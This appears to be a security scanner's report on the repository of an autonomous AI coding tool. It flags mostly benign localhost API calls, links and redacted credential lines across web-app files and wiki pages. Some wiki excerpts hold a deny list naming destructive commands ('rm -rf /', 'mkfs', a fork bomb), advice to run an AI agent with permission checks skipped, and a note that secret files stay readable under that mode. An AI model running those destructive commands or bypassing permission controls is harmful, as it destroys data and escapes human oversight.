src={`http://127.0.0.1:${dashboardPort}/#${dashboardView}`}
web-app/src/components/QualityGatesPanel.tsx
- Executable scriptline 1
Executable file
web-app/src/components/RBACPanel.tsx
- Executable scriptline 1
Executable file
web-app/src/components/ROICalculator.tsx
- Executable scriptline 1
Executable file
web-app/src/components/ReportPanel.tsx
- Executable scriptline 1
Executable file
web-app/src/components/Roadmap.tsx
- Executable scriptline 1
Executable file
web-app/src/components/SessionHistory.tsx
- Executable scriptline 1
Executable file
web-app/src/components/SmartSuggestions.tsx
- Executable scriptline 1
Executable file
web-app/src/components/StatusBar.tsx
- Executable scriptline 1
Executable file - Network accessline 81
buildTime ? `Build time: ${formatBuildDuration(buildTime)}` : '', prd ? `\nProject: ${prd.substring(0, 100)}${prd.length > 100 ? '...' : ''}` : '', `\nhttps://autonomi.dev`, - Network accessline 82
prd ? `\nProject: ${prd.substring(0, 100)}${prd.length > 100 ? '...' : ''}` : '', `\nhttps://autonomi.dev`, ].filter(Boolean).join('\n'); - Network accessline 83
`\nhttps://autonomi.dev`,
web-app/src/components/StatusOverview.tsx
- Executable scriptline 1
Executable file
web-app/src/components/Tag.tsx
- Executable scriptline 1
Executable file
web-app/src/components/TeamPanel.tsx
- Executable scriptline 1
Executable file
web-app/src/components/TemplatePreview.tsx
- Executable scriptline 1
Executable file
web-app/src/components/TerminalEmulator.tsx
- Executable scriptline 1
Executable file
web-app/src/components/TerminalOutput.tsx
- Executable scriptline 1
Executable file
web-app/src/components/TokenSparkline.tsx
- Executable scriptline 1
Executable file
web-app/src/components/TrustedBy.tsx
- Executable scriptline 1
Executable file
web-app/src/components/UsageAnalytics.tsx
- Executable scriptline 1
Executable file
web-app/src/components/UserManagement.tsx
- Executable scriptline 1
Executable file
web-app/src/components/VirtualList.tsx
- Executable scriptline 1
Executable file
web-app/src/components/WarmEmptyState.tsx
- Executable scriptline 1
Executable file
web-app/src/components/WhatsNew.tsx
- Executable scriptline 1
Executable file - Network accessline 124
<div className="flex items-center justify-between px-6 py-4 border-t border-border"> <a href="https://github.com/asklokesh/loki-mode/blob/main/CHANGELOG.md" - Network accessline 125
<a href="https://github.com/asklokesh/loki-mode/blob/main/CHANGELOG.md" target="_blank" - Network accessline 126
href="https://github.com/asklokesh/loki-mode/blob/main/CHANGELOG.md"
web-app/src/components/auth/ProtectedRoute.tsx
- Executable scriptline 1
Executable file
web-app/src/components/charts/DonutChart.tsx
- Executable scriptline 1
Executable file
web-app/src/components/charts/LineChart.tsx
- Executable scriptline 1
Executable file
web-app/src/components/layout/AppShell.tsx
- Executable scriptline 1
Executable file
web-app/src/components/layout/Sidebar.tsx
web-app/src/components/settings/SettingInput.tsx
- Executable scriptline 1
Executable file
web-app/src/components/settings/SettingSelect.tsx
- Executable scriptline 1
Executable file
web-app/src/components/settings/SettingSlider.tsx
- Executable scriptline 1
Executable file
web-app/src/components/settings/SettingToggle.tsx
- Executable scriptline 1
Executable file
web-app/src/components/ui/Badge.tsx
- Executable scriptline 1
Executable file
web-app/src/components/ui/Button.tsx
- Executable scriptline 1
Executable file
web-app/src/components/ui/Card.tsx
- Executable scriptline 1
Executable file
web-app/src/components/ui/ContextMenu.tsx
- Executable scriptline 1
Executable file
web-app/src/components/ui/IconButton.tsx
- Executable scriptline 1
Executable file
web-app/src/components/ui/Skeleton.tsx
- Executable scriptline 1
Executable file
web-app/src/contexts/NotificationContext.tsx
- Executable scriptline 1
Executable file
web-app/src/hooks/useAuth.tsx
web-app/src/hooks/useEscapeKey.ts
- Executable scriptline 1
Executable file
web-app/src/hooks/useFocusTrap.ts
- Executable scriptline 1
Executable file
web-app/src/hooks/usePolling.ts
- Executable scriptline 1
Executable file
web-app/src/hooks/usePullToRefresh.ts
- Executable scriptline 1
Executable file
web-app/src/hooks/useTheme.ts
- Executable scriptline 1
Executable file
web-app/src/hooks/useWebSocket.ts
- Executable scriptline 1
Executable file
web-app/src/main.tsx
- Executable scriptline 1
Executable file
web-app/src/pages/AdminPage.tsx
- Executable scriptline 1
Executable file
web-app/src/pages/CockpitPage.tsx
- Executable scriptline 1
Executable file
web-app/src/pages/ComparePage.tsx
- Executable scriptline 1
Executable file
web-app/src/pages/HomePage.tsx
- Executable scriptline 1
Executable file
web-app/src/pages/LoginPage.tsx
- Executable scriptline 1
Executable file
web-app/src/pages/MagicPage.tsx
- Executable scriptline 1
Executable file - Network accessline 44
setLoading(true); setError(null); const res = await fetch(`${MAGIC_API}/components`); - Network accessline 45
setError(null); const res = await fetch(`${MAGIC_API}/components`); if (res.ok) { - Network accessline 46
const res = await fetch(`${MAGIC_API}/components`); - Network accessline 66
async (spec: MagicGenerateSpec): Promise<boolean> => { try { const res = await fetch(`${MAGIC_API}/generate`, { - Network accessline 67
try { const res = await fetch(`${MAGIC_API}/generate`, { method: 'POST', - Network accessline 68
const res = await fetch(`${MAGIC_API}/generate`, { - Network accessline 87
async (name: string): Promise<boolean> => { try { const res = await fetch( - Network accessline 88
try { const res = await fetch( `${MAGIC_API}/components/${encodeURIComponent(name)}/debate`, - Network accessline 89
const res = await fetch( - Network accessline 107
async (name: string): Promise<boolean> => { try { const res = await fetch( - Network accessline 108
try { const res = await fetch( `${MAGIC_API}/components/${encodeURIComponent(name)}`, - Network accessline 109
const res = await fetch(
web-app/src/pages/MetricsPage.tsx
- Executable scriptline 1
Executable file
web-app/src/pages/NotFoundPage.tsx
- Executable scriptline 1
Executable file
web-app/src/pages/ProjectPage.tsx
- Executable scriptline 1
Executable file
web-app/src/pages/ProjectsPage.tsx
- Executable scriptline 1
Executable file
web-app/src/pages/SettingsPage.tsx
- Executable scriptline 1
Executable file - Network accessline 995
<div className="flex flex-col gap-1 py-2"> {[ { label: 'Documentation', href: 'https://www.autonomi.dev/docs' }, - Network accessline 996
{[ { label: 'Documentation', href: 'https://www.autonomi.dev/docs' }, { label: 'GitHub', href: 'https://github.com/asklokesh/loki-mode' }, - Network accessline 997
{ label: 'Documentation', href: 'https://www.autonomi.dev/docs' }, - Network accessline 998
{ label: 'GitHub', href: 'https://github.com/asklokesh/loki-mode' }, - Network accessline 999
{ label: 'Changelog', href: 'https://github.com/asklokesh/loki-mode/blob/main/CHANGELOG.md' }, - Network accessline 1000
{ label: 'Report a bug', href: 'https://github.com/asklokesh/loki-mode/issues/new' }, - Network accessline 1019
type="button" onClick={() => { window.open('https://github.com/asklokesh/loki-mode/releases', '_blank'); - Network accessline 1020
onClick={() => { window.open('https://github.com/asklokesh/loki-mode/releases', '_blank'); }} - Network accessline 1021
window.open('https://github.com/asklokesh/loki-mode/releases', '_blank');
web-app/src/pages/ShowcasePage.tsx
- Executable scriptline 1
Executable file
web-app/src/pages/SystemSettingsPage.tsx
- Executable scriptline 1
Executable file - Access to secretsline 70
[Credential-related source omitted] - Access to secretsline 71
[Credential-related source omitted] - Network accessline 439
value={config.slackWebhookUrl} onChange={(e) => update('slackWebhookUrl', e.target.value)} placeholder="https://hooks.slack.com/services/..." - Network accessline 440
onChange={(e) => update('slackWebhookUrl', e.target.value)} placeholder="https://hooks.slack.com/services/..." className="w-full px-3 py-2 text-sm rounded-lg border border-[#ECEAE3] dark:border-[#2A2A30] bg-w - Network accessline 441
placeholder="https://hooks.slack.com/services/..."
web-app/src/pages/TeamsPage.tsx
- Executable scriptline 1
Executable file
web-app/src/pages/TemplatesPage.tsx
- Executable scriptline 1
Executable file
web-app/src/types/api.ts
- Executable scriptline 1
Executable file
web-app/src/vite-env.d.ts
- Executable scriptline 1
Executable file
web-app/tailwind.config.js
- Executable scriptline 1
Executable file
web-app/vite.config.ts
- Executable scriptline 1
Executable file - Network accessline 15
proxy: { '/lab/api': { target: 'http://localhost:57375', - Network accessline 16
'/lab/api': { target: 'http://localhost:57375', changeOrigin: true, - Network accessline 17
target: 'http://localhost:57375', - Network accessline 19
}, '/lab/proxy': { target: 'http://localhost:57375', - Network accessline 20
'/lab/proxy': { target: 'http://localhost:57375', changeOrigin: true, - Network accessline 21
target: 'http://localhost:57375',
wiki/API-Reference.md
- Network accessline 35
| `LOKI_DASHBOARD_HOST` | `127.0.0.1` | Bind address (localhost-only by default) | | `LOKI_DIR` | `.loki` | State directory | | `LOKI_DASHBOARD_CORS` | `http://localhost:57374,http://127.0.0.1:57374` | Comma-separated allowed CORS origins | - Network accessline 36
| `LOKI_DIR` | `.loki` | State directory | | `LOKI_DASHBOARD_CORS` | `http://localhost:57374,http://127.0.0.1:57374` | Comma-separated allowed CORS origins | | `LOKI_TLS_CERT` | - | PEM certificate file path (enables HTTPS) | - Network accessline 37
| `LOKI_DASHBOARD_CORS` | `http://localhost:57374,http://127.0.0.1:57374` | Comma-separated allowed CORS origins | - Network accessline 450
curl http://localhost:57374/api/checkpoints - Network accessline 451
curl "http://localhost:57374/api/checkpoints?limit=5" - Network accessline 477
curl http://localhost:57374/api/checkpoints/chk-20260212-143022 - Network accessline 498
curl -X POST http://localhost:57374/api/checkpoints - Network accessline 499
curl -X POST http://localhost:57374/api/checkpoints \ - Network accessline 781
curl http://localhost:57374/metrics - Access to secretsline 956
[Credential-related source omitted] - Network accessline 983
Access-Control-Allow-Origin: http://localhost:57374, http://127.0.0.1:57374 - Network accessline 991
# Allow specific origins (comma-separated) export LOKI_DASHBOARD_CORS="http://localhost:57374,https://dashboard.example.com" - Network accessline 992
export LOKI_DASHBOARD_CORS="http://localhost:57374,https://dashboard.example.com" - Network accessline 995
| Environment Variable | Default | Description | |---------------------|---------|-------------| | `LOKI_DASHBOARD_CORS` | `http://localhost:57374,http://127.0.0.1:57374` | Comma-separated list of allowed CORS origins | - Network accessline 996
|---------------------|---------|-------------| | `LOKI_DASHBOARD_CORS` | `http://localhost:57374,http://127.0.0.1:57374` | Comma-separated list of allowed CORS origins | | `LOKI_DASHBOARD_HOST` | `127.0.0.1` | Server bind address (localhos - Network accessline 997
| `LOKI_DASHBOARD_CORS` | `http://localhost:57374,http://127.0.0.1:57374` | Comma-separated list of allowed CORS origins | - Network accessline 1030
# Health check curl http://localhost:57374/health - Network accessline 1031
curl http://localhost:57374/health - Network accessline 1033
# Get status curl http://localhost:57374/api/status - Network accessline 1034
curl http://localhost:57374/api/status - Network accessline 1036
# Pause session curl -X POST http://localhost:57374/api/control/pause - Network accessline 1037
curl -X POST http://localhost:57374/api/control/pause - Network accessline 1039
# Resume session curl -X POST http://localhost:57374/api/control/resume - Network accessline 1040
curl -X POST http://localhost:57374/api/control/resume - Network accessline 1042
# Stop session curl -X POST http://localhost:57374/api/control/stop - Network accessline 1043
curl -X POST http://localhost:57374/api/control/stop - Network accessline 1045
# Get logs curl "http://localhost:57374/api/logs?lines=100" - Network accessline 1046
curl "http://localhost:57374/api/logs?lines=100" - Network accessline 1048
# Get tasks curl http://localhost:57374/api/tasks - Network accessline 1049
curl http://localhost:57374/api/tasks - Network accessline 1051
# Get memory summary curl http://localhost:57374/api/memory/summary - Network accessline 1052
curl http://localhost:57374/api/memory/summary - Network accessline 1054
# Council state curl http://localhost:57374/api/council/state - Network accessline 1055
curl http://localhost:57374/api/council/state - Network accessline 1057
# Get cost data curl http://localhost:57374/api/cost - Network accessline 1058
curl http://localhost:57374/api/cost - Network accessline 1060
# Create checkpoint curl -X POST http://localhost:57374/api/checkpoints \ - Network accessline 1061
curl -X POST http://localhost:57374/api/checkpoints \ - Network accessline 1065
# Context window state curl http://localhost:57374/api/context - Network accessline 1066
curl http://localhost:57374/api/context - Network accessline 1068
# Notifications curl http://localhost:57374/api/notifications - Network accessline 1069
curl http://localhost:57374/api/notifications - Network accessline 1071
# Notification triggers curl http://localhost:57374/api/notifications/triggers - Network accessline 1072
curl http://localhost:57374/api/notifications/triggers - Network accessline 1074
# Acknowledge a notification curl -X POST http://localhost:57374/api/notifications/notif-001/acknowledge - Network accessline 1075
curl -X POST http://localhost:57374/api/notifications/notif-001/acknowledge - Network accessline 1077
# Prometheus metrics curl http://localhost:57374/metrics - Network accessline 1078
curl http://localhost:57374/metrics - Network accessline 1080
# Budget status curl http://localhost:57374/api/budget - Network accessline 1081
curl http://localhost:57374/api/budget - Network accessline 1083
# Auth info curl http://localhost:57374/api/auth/info - Network accessline 1084
curl http://localhost:57374/api/auth/info - Network accessline 1090
// Get status const status = await fetch('http://localhost:57374/api/status').then(r => r.json()); - Network accessline 1091
const status = await fetch('http://localhost:57374/api/status').then(r => r.json()); - Network accessline 1101
// Pause session await fetch('http://localhost:57374/api/control/pause', { method: 'POST' }); - Network accessline 1102
await fetch('http://localhost:57374/api/control/pause', { method: 'POST' }); - Network accessline 1110
# Get status response = requests.get('http://localhost:57374/api/status') - Network accessline 1111
response = requests.get('http://localhost:57374/api/status') - Network accessline 1115
# Get tasks response = requests.get('http://localhost:57374/api/tasks') - Network accessline 1116
response = requests.get('http://localhost:57374/api/tasks') - Network accessline 1121
# Get memory summary response = requests.get('http://localhost:57374/api/memory/summary') - Network accessline 1122
response = requests.get('http://localhost:57374/api/memory/summary') - Network accessline 1137
[Credential-related source omitted] - Network accessline 1138
[Credential-related source omitted]
wiki/Architecture.md
- Network accessline 3
> Legacy engine note: this page documents the legacy engine (`loki start`, `LOKI_ENGINE=legacy`), which still ships in 11.124.2 and is being removed. For the current Loki 10 commands (`loki "<task>"`, `loki owner/repo#N`, `loki backlog`, `l - Network accessline 351
+--------+--------+ +---------+-------+ +----------+-------+ | | | | curl (background) | curl (background) | curl (background) - Network accessline 352
| | | | curl (background) | curl (background) | curl (background) v v v - Network accessline 353
| curl (background) | curl (background) | curl (background)
wiki/Audit-Logging.md
- Network accessline 77
# Query entries (requires the "audit" token scope) curl "http://localhost:57374/api/enterprise/audit?limit=50" - Network accessline 78
curl "http://localhost:57374/api/enterprise/audit?limit=50" - Network accessline 80
# Summary curl "http://localhost:57374/api/enterprise/audit/summary?days=7" - Network accessline 81
curl "http://localhost:57374/api/enterprise/audit/summary?days=7" - Dangerous shell operationline 286
find ~/.loki/dashboard/audit/ -name "*.jsonl" -mtime +30 -delete
wiki/CLI-Reference.md
- Access to secretsline 108
[Credential-related source omitted] - Access to secretsline 212
[Credential-related source omitted] - Access to secretsline 219
[Credential-related source omitted] - Network accessline 496
# Generate a spec from a full GitHub issue URL loki issue https://github.com/myorg/myapp/issues/42 - Network accessline 497
loki issue https://github.com/myorg/myapp/issues/42 - Network accessline 1038
LOKI_SLACK_WEBHOOK=https://hooks.slack.com/services/... - Network accessline 1039
LOKI_DISCORD_WEBHOOK=https://discord.com/api/webhooks/... - Network accessline 1040
LOKI_WEBHOOK_URL=https://your-server.com/webhook - Network accessline 1798
Note: the badge uses a shields.io static-badge image URL (`https://img.shields.io/badge/...`). shields.io is an external image host, so - Network accessline 1799
(`https://img.shields.io/badge/...`). shields.io is an external image host, so - Network accessline 1936
# Set a $5 budget, get Slack notifications LOKI_SLACK_WEBHOOK=https://hooks.slack.com/services/xxx \ - Network accessline 1937
LOKI_SLACK_WEBHOOK=https://hooks.slack.com/services/xxx \ - Network accessline 1998
| `LOKI_TELEMETRY_DISABLED` | (unset) | Set to `true` to hard-disable all anonymous diagnostics (always wins). | | `DO_NOT_TRACK` | (unset) | Community convention: set to `1` to hard-disable all anonymous diagnostics. | | `LOKI_TELEMETRY_EN - Network accessline 1999
| `DO_NOT_TRACK` | (unset) | Community convention: set to `1` to hard-disable all anonymous diagnostics. | | `LOKI_TELEMETRY_ENDPOINT` | https://us.i.posthog.com | Override the analytics endpoint (used whenever telemetry is enabled). | | `L - Network accessline 2000
| `LOKI_TELEMETRY_ENDPOINT` | https://us.i.posthog.com | Override the analytics endpoint (used whenever telemetry is enabled). | - Network accessline 2016
Precedence: any opt-out flag wins; else any opt-in flag enables; else OFF in CI / non-interactive / enterprise / `LOKI_AIRGAP=true` contexts; else ON. See [PRIVACY.md](https://github.com/asklokesh/loki-mode/blob/main/docs/PRIVACY.md) - Network accessline 2017
CI / non-interactive / enterprise / `LOKI_AIRGAP=true` contexts; else ON. See [PRIVACY.md](https://github.com/asklokesh/loki-mode/blob/main/docs/PRIVACY.md) for the exact data sent (os, arch, version, channel, anonymous distinct id; no - Network accessline 2018
[PRIVACY.md](https://github.com/asklokesh/loki-mode/blob/main/docs/PRIVACY.md)
wiki/Completion-Council.md
- Network accessline 3
> Legacy engine note: this page documents the legacy engine (`loki start`, `LOKI_ENGINE=legacy`), which still ships in 11.124.2 and is being removed. For the current Loki 10 commands (`loki "<task>"`, `loki owner/repo#N`, `loki backlog`, `l
wiki/Configuration.md
- Network accessline 48
#=============================================================================== # Loki Mode Configuration # Documentation: https://github.com/asklokesh/loki-mode/wiki/Configuration - Network accessline 49
# Loki Mode Configuration # Documentation: https://github.com/asklokesh/loki-mode/wiki/Configuration #=============================================================================== - Network accessline 50
# Documentation: https://github.com/asklokesh/loki-mode/wiki/Configuration - Dangerous shell operationline 126
blocked_commands: "rm -rf /,dd if=,mkfs,:(){ :|:& };:" - Network accessline 306
notifications: slack_webhook: "https://hooks.slack.com/services/T00/B00/xxx" - Network accessline 307
slack_webhook: "https://hooks.slack.com/services/T00/B00/xxx" - Network accessline 326
notifications: enabled: true slack_webhook: "https://hooks.slack.com/..." - Network accessline 327
enabled: true slack_webhook: "https://hooks.slack.com/..." discord_webhook: "https://discord.com/api/webhooks/..." - Network accessline 328
slack_webhook: "https://hooks.slack.com/..." - Network accessline 329
discord_webhook: "https://discord.com/api/webhooks/..." - Network accessline 349
notifications: enabled: true webhook_url: "https://monitoring.company.com/api/events" - Network accessline 351
webhook_url: "https://monitoring.company.com/api/events" - Network accessline 391
Loki integrates [caveman](https://github.com/JuliusBrussee/caveman), an optional - Network accessline 430
[Credential-related source omitted] - Access to secretsline 430
[Credential-related source omitted] - Network accessline 431
LOKI_SLACK_WEBHOOK=https://hooks.slack.com/... - Access to secretsline 437
[Credential-related source omitted] - Network accessline 446
export LOKI_DASHBOARD_CORS="https://dashboard.example.com,http://localhost:57374" - Network accessline 449
When not set, defaults to `http://localhost:57374,http://127.0.0.1:57374` (localhost-only). See [[Security]] for details.
wiki/Contributing.md
- Network accessline 20
git clone https://github.com/asklokesh/loki-mode.git - Network accessline 242
Use the [issue templates](https://github.com/asklokesh/loki-mode/issues/new/choose) for bug reports and feature requests. - Network accessline 269
- [[FAQ]] - Frequently asked questions - [[Troubleshooting]] - Common issues - [GitHub Issues](https://github.com/asklokesh/loki-mode/issues) - Network accessline 271
- [GitHub Issues](https://github.com/asklokesh/loki-mode/issues)
wiki/Cross-Project-Learning.md
- Network accessline 3
> Legacy engine note: this page documents the legacy engine (`loki start`, `LOKI_ENGINE=legacy`), which still ships in 11.124.2 and is being removed. For the current Loki 10 commands (`loki "<task>"`, `loki owner/repo#N`, `loki backlog`, `l - Network accessline 147
curl http://localhost:57374/api/memory/summary - Network accessline 148
curl "http://localhost:57374/api/memory/patterns?limit=10" - Network accessline 149
curl "http://localhost:57374/api/memory/search?q=authentication&collection=patterns" - Network accessline 150
curl http://localhost:57374/api/memory/stats
wiki/Dashboard.md
- Network accessline 3
> Legacy engine note: this page documents the legacy engine (`loki start`, `LOKI_ENGINE=legacy`), which still ships in 11.124.2 and is being removed. For the current Loki 10 commands (`loki "<task>"`, `loki owner/repo#N`, `loki backlog`, `l - Network accessline 38
Default URL: `http://localhost:57374` - Network accessline 132
# Fetch metrics curl http://localhost:57374/metrics - Network accessline 133
curl http://localhost:57374/metrics - Network accessline 223
// Dashboard fetches from API const status = await fetch('http://localhost:57374/api/status').then(r => r.json()); - Network accessline 224
const status = await fetch('http://localhost:57374/api/status').then(r => r.json()); - Network accessline 225
const logs = await fetch('http://localhost:57374/api/logs?lines=100').then(r => r.json()); - Network accessline 263
# Check status endpoint curl http://localhost:57374/api/status - Network accessline 264
curl http://localhost:57374/api/status
wiki/Enterprise-Features.md
- Network accessline 3
> Legacy engine note: this page documents the legacy engine (`loki start`, `LOKI_ENGINE=legacy`), which still ships in 11.124.2 and is being removed. For the current Loki 10 commands (`loki "<task>"`, `loki owner/repo#N`, `loki backlog`, `l - Network accessline 67
[Credential-related source omitted] - Network accessline 68
http://localhost:57374/api/status - Network accessline 162
[Credential-related source omitted] - Network accessline 163
[Credential-related source omitted] - Network accessline 164
"http://localhost:57374/api/enterprise/audit?limit=100" - Network accessline 166
[Credential-related source omitted] - Network accessline 167
[Credential-related source omitted] - Network accessline 168
"http://localhost:57374/api/enterprise/audit/summary" - Access to secretsline 188
[Credential-related source omitted] - Access to secretsline 203
[Credential-related source omitted] - Network accessline 215
# Google Workspace export LOKI_OIDC_ISSUER=https://accounts.google.com - Network accessline 216
export LOKI_OIDC_ISSUER=https://accounts.google.com - Network accessline 219
# Azure AD export LOKI_OIDC_ISSUER=https://login.microsoftonline.com/{tenant}/v2.0 - Network accessline 220
export LOKI_OIDC_ISSUER=https://login.microsoftonline.com/{tenant}/v2.0 - Network accessline 223
# Okta export LOKI_OIDC_ISSUER=https://your-org.okta.com - Network accessline 224
export LOKI_OIDC_ISSUER=https://your-org.okta.com - Network accessline 284
curl http://localhost:57374/metrics - Network accessline 394
# Health check HEALTHCHECK --interval=30s --timeout=10s \ CMD python -c "import urllib.request; urllib.request.urlopen('http://localhost:57374/health')" - Network accessline 395
HEALTHCHECK --interval=30s --timeout=10s CMD python -c "import urllib.request; urllib.request.urlopen('http://localhost:57374/health')" - Network accessline 396
CMD python -c "import urllib.request; urllib.request.urlopen('http://localhost:57374/health')" - Network accessline 436
curl "http://localhost:57374/api/registry/tasks?status=in_progress" - Network accessline 448
# API curl "http://localhost:57374/api/registry/learnings" - Network accessline 449
curl "http://localhost:57374/api/registry/learnings" - Dangerous shell operationline 520
export LOKI_BLOCKED_COMMANDS="rm -rf /,dd if=,mkfs,shutdown" - Dangerous shell operationline 534
- `rm -rf /` - Network accessline 562
- ./projects:/projects:ro healthcheck: test: ["CMD", "python", "-c", "import urllib.request; urllib.request.urlopen('http://localhost:57374/health')"] - Network accessline 563
healthcheck: test: ["CMD", "python", "-c", "import urllib.request; urllib.request.urlopen('http://localhost:57374/health')"] interval: 30s - Network accessline 564
test: ["CMD", "python", "-c", "import urllib.request; urllib.request.urlopen('http://localhost:57374/health')"]
wiki/Enterprise-Setup.md
- Network accessline 3
> Legacy engine note: this page documents the legacy engine (`loki start`, `LOKI_ENGINE=legacy`), which still ships in 11.124.2 and is being removed. For the current Loki 10 commands (`loki "<task>"`, `loki owner/repo#N`, `loki backlog`, `l - Network accessline 15
# 2. Verify it is running curl http://localhost:57374/api/status - Network accessline 16
curl http://localhost:57374/api/status - Network accessline 28
# Required: Point to your OTEL collector export LOKI_OTEL_ENDPOINT="http://localhost:4318" - Network accessline 29
export LOKI_OTEL_ENDPOINT="http://localhost:4318" - Network accessline 39
# Check OTEL is active curl http://localhost:57374/api/status | python3 -c "import sys,json; print(json.load(sys.stdin))" - Dangerous shell operationline 40
curl http://localhost:57374/api/status | python3 -c "import sys,json; print(json.load(sys.stdin))" - Network accessline 40
curl http://localhost:57374/api/status | python3 -c "import sys,json; print(json.load(sys.stdin))" - Network accessline 95
# Check audit is enabled curl http://localhost:57374/api/audit?limit=5 - Network accessline 96
curl http://localhost:57374/api/audit?limit=5 - Network accessline 98
# Verify chain integrity curl http://localhost:57374/api/audit/verify - Network accessline 99
curl http://localhost:57374/api/audit/verify - Network accessline 108
# Create an admin API key (first time only) curl -X POST http://localhost:57374/api/keys \ - Network accessline 109
curl -X POST http://localhost:57374/api/keys \ - Access to secretsline 119
[Credential-related source omitted] - Network accessline 125
export LOKI_JIRA_URL="https://company.atlassian.net" - Access to secretsline 127
[Credential-related source omitted] - Access to secretsline 128
[Credential-related source omitted] - Access to secretsline 137
[Credential-related source omitted] - Access to secretsline 154
[Credential-related source omitted] - Access to secretsline 155
[Credential-related source omitted] - Network accessline 161
[Credential-related source omitted] - Access to secretsline 161
[Credential-related source omitted] - Network accessline 162
https://slack.com/api/auth.test - Network accessline 168
export LOKI_TEAMS_WEBHOOK_URL="https://your-tenant.webhook.office.com/..." - Network accessline 173
curl -X POST "$LOKI_TEAMS_WEBHOOK_URL" \
wiki/Enterprise.md
- Network accessline 36
**Activate:** `export LOKI_OTEL_ENDPOINT="http://your-collector:4318"`
wiki/Environment-Variables.md
- Network accessline 25
| `LOKI_DASHBOARD_PORT` | `57374` | Dashboard + API server port (FastAPI) | | `LOKI_DASHBOARD_HOST` | `127.0.0.1` | Dashboard + API server bind address | | `LOKI_DASHBOARD_CORS` | `http://localhost:57374,http://127.0.0.1:57374` | Comma-sepa - Network accessline 26
| `LOKI_DASHBOARD_HOST` | `127.0.0.1` | Dashboard + API server bind address | | `LOKI_DASHBOARD_CORS` | `http://localhost:57374,http://127.0.0.1:57374` | Comma-separated allowed CORS origins | | `LOKI_TLS_CERT` | - | Path to PEM certificate - Network accessline 27
| `LOKI_DASHBOARD_CORS` | `http://localhost:57374,http://127.0.0.1:57374` | Comma-separated allowed CORS origins | - Access to secretsline 57
[Credential-related source omitted] - Dangerous shell operationline 72
rm -rf /,dd if=,mkfs,:(){ :|:& };: - Instruction override signalline 84
This is not complete secret-file protection: `Read` denies do not stop `Bash(cat .env)` under `--dangerously-skip-permissions`. - Network accessline 107
| Variable | Default | Description | |----------|---------|-------------| | `LOKI_OIDC_ISSUER` | - | OIDC issuer URL (e.g., `https://accounts.google.com`, `https://login.microsoftonline.com/{tenant}/v2.0`) | - Network accessline 108
|----------|---------|-------------| | `LOKI_OIDC_ISSUER` | - | OIDC issuer URL (e.g., `https://accounts.google.com`, `https://login.microsoftonline.com/{tenant}/v2.0`) | | `LOKI_OIDC_CLIENT_ID` | - | OIDC client/application ID from your id - Network accessline 109
| `LOKI_OIDC_ISSUER` | - | OIDC issuer URL (e.g., `https://accounts.google.com`, `https://login.microsoftonline.com/{tenant}/v2.0`) | - Network accessline 244
export LOKI_PROOF_PUBLIC_URL=https://my-site.example.com/proofs/run-001 - Network accessline 319
export LOKI_SLACK_WEBHOOK="https://hooks.slack.com/services/T00/B00/xxx" - Network accessline 334
export LOKI_DASHBOARD=true export LOKI_SLACK_WEBHOOK="https://hooks.slack.com/..." - Network accessline 335
export LOKI_SLACK_WEBHOOK="https://hooks.slack.com/..." - Access to secretsline 342
[Credential-related source omitted] - Network accessline 358
# Google Workspace example export LOKI_OIDC_ISSUER=https://accounts.google.com - Network accessline 359
export LOKI_OIDC_ISSUER=https://accounts.google.com - Network accessline 362
# Azure AD example # export LOKI_OIDC_ISSUER=https://login.microsoftonline.com/{tenant-id}/v2.0 - Network accessline 363
# export LOKI_OIDC_ISSUER=https://login.microsoftonline.com/{tenant-id}/v2.0 - Network accessline 366
# Okta example # export LOKI_OIDC_ISSUER=https://your-org.okta.com - Network accessline 367
# export LOKI_OIDC_ISSUER=https://your-org.okta.com - Network accessline 395
# Prometheus scraping # Point Prometheus scrape target at http://localhost:57374/metrics - Network accessline 396
# Point Prometheus scrape target at http://localhost:57374/metrics
wiki/FAQ.md
- Network accessline 156
export LOKI_SLACK_WEBHOOK="https://hooks.slack.com/..." - Dangerous shell operationline 251
rm -rf .loki/ # Optional: full reset - Network accessline 324
[GitHub Issues](https://github.com/asklokesh/loki-mode/issues) - Network accessline 328
Check [GitHub Projects](https://github.com/asklokesh/loki-mode/projects) for planned features.
wiki/Getting-Started.md
- Network accessline 24
`loki start` still runs the legacy engine, which is being removed; the walkthrough below uses it and is a legacy path. See [docs/v10/GUIDE.md](https://github.com/asklokesh/loki-mode/blob/main/docs/v10/GUIDE.md). - Instruction override signalline 86
# Launch Claude with autonomous permissions claude --dangerously-skip-permissions - Instruction override signalline 87
claude --dangerously-skip-permissions - Network accessline 122
# Use a GitHub issue as the spec (converts issue body to a PRD and starts) loki issue https://github.com/owner/repo/issues/123 --start - Network accessline 123
loki issue https://github.com/owner/repo/issues/123 --start - Access to secretsline 136
[Credential-related source omitted] - Network accessline 180
export LOKI_SLACK_WEBHOOK="https://hooks.slack.com/..."
wiki/GitHub-Integration.md
- Network accessline 3
> Legacy engine note: this page documents the legacy engine (`loki start`, `LOKI_ENGINE=legacy`), which still ships in 11.124.2 and is being removed. For the current Loki 10 commands (`loki "<task>"`, `loki owner/repo#N`, `loki backlog`, `l - Network accessline 39
loki issue https://github.com/owner/repo/issues/123 - Network accessline 85
## References - Original: https://github.com/owner/repo/issues/123 - Network accessline 86
- Original: https://github.com/owner/repo/issues/123 - Network accessline 171
# Webhook for status updates export LOKI_WEBHOOK_URL="https://your-webhook.com/github" - Network accessline 172
export LOKI_WEBHOOK_URL="https://your-webhook.com/github" - Network accessline 219
# Or set remote git remote set-url origin https://github.com/owner/repo.git - Network accessline 220
git remote set-url origin https://github.com/owner/repo.git - Access to secretsline 232
[Credential-related source omitted]
wiki/Home.md
- Network accessline 3
**The flagship product of [Autonomi](https://www.autonomi.dev/) -- an autonomous, spec-driven build system with a built-in trust layer. It does not call work done until it is verified: the RARV-C closure loop, 8 quality gates, the completio - Network accessline 19
`loki start owner/repo#N` still routes to the legacy engine; use `loki owner/repo#N`. The legacy engine is being removed. Everything in Loki Mode is free: there are no paid editions. Guide: [docs/v10/GUIDE.md](https://github.com/asklokesh/l - Network accessline 122
Current Version: **11.124.2** ([CHANGELOG](https://github.com/asklokesh/loki-mode/blob/main/CHANGELOG.md)) - Network accessline 130
- **GitHub Issues**: [Report bugs or request features](https://github.com/asklokesh/loki-mode/issues) - Network accessline 131
- **Discussions**: [Community Q&A](https://github.com/asklokesh/loki-mode/discussions)
wiki/Installation.md
wiki/Knowledge-Compounding.md
- Network accessline 3
> Legacy engine note: this page documents the legacy engine (`loki start`, `LOKI_ENGINE=legacy`), which still ships in 11.124.2 and is being removed. For the current Loki 10 commands (`loki "<task>"`, `loki owner/repo#N`, `loki backlog`, `l
wiki/Network-Security.md
wiki/Notifications.md
- Network accessline 3
